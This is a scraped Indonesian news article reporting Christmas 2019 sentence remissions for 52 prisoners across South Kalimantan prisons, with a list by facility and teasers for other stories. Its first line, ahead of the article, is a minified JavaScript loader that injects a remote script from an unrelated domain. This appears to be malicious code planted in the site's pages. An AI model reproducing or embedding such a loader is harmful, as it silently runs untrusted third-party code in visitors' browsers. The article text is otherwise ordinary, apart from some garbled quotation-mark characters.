(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sebanyak 52 narapidana (napi) di Kalsel menikmati remisi hari raya Natal 2019. Hal tersebut disampaikan Kepala Bagian Program dan Humas, Kementerian Hukum dan HAM (Kemenkumham) Kalsel, Sugito, Senin (16/12).
Sugito menjelaskan dari jumlah itu, 51 diantaranya mendapatkan kategori Remisi Khusus I (RK I), yaitu hanya mendapatkan potongan sebagian masa pidana. “Potongan masa tahannya bervariasi. Ada yang mendapat remisi limabelas hari hingga dua bulan,†katanya.
Sedangkan satu orang lainnya mendapatkan kategori Remisi Khusus II (RK II) yang mana langsung bebas. Dan diketahui yang langsung bebas berada di Lapas Tanjung Kalsel. “Ya, hanya satu orang di Tanjung yang langsung bebas,” tandas dia.
Sementara itu, untuk Lapas Banjarbaru, diketahui ada sebanyak 10 warga binaan yang dapat remisi Natal. Hal ini disampaikan Kalapas Banjarbaru, Abdul Aziz, didampingi, Kasubsi Administrasi dan Orientasi Lapas Banjarbaru, Hamzah.
Dari sepuluh orang adalah kasus narkoba dua orang sisanya pidana umum. “Pemberian potongan masa tahanan paling banyak satu bulan untuk tujuh orang, satu orang satu bulan 15 hari, dan dua lagi masing-masing selama 15 hari,” tandasnya.
Hamzah mengatakan, pertimbangan lama masa potongan itu dari masa hukuman, guna menambahkan remisi itu sesuai ketentuan di mana salah satunya berkelanjutan baik dan telah menjalani penjara enam bulan. “Saat ini ada 1.911 warga binaan di Lapas Banjarbaru,†katanya.
Lapas Banjarbaru sendiri termasuk terbanyak kedua setelah Lapas Kotabaru yang mana 12 orang diberikan remisi dalam rangka Hari Natal 2019.
Daftar Warga Binaan yang Dapat ‘Kado’ Natal 2019:
1) Lapas Banjarmasin 11 orang
2) Lembaga Pembinaan Khusus Anak Kelas I Martapura 1 orang
3) Lapas Kelas II B Kotabaru 12 orang
4) Lapas Kelas III Tanjung 1 orang
5) Lapas Kelas II B Banjarbaru 10 orang
6) Lapas Perempuan Martapura 4 orang
7) Rutan Pelaihari 3 orang
8) Rutan Rantau 4 orang
9) Rutan Kandangan 1 orang
10) Rutan Tanjung 5 orang
(fikri/trb)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.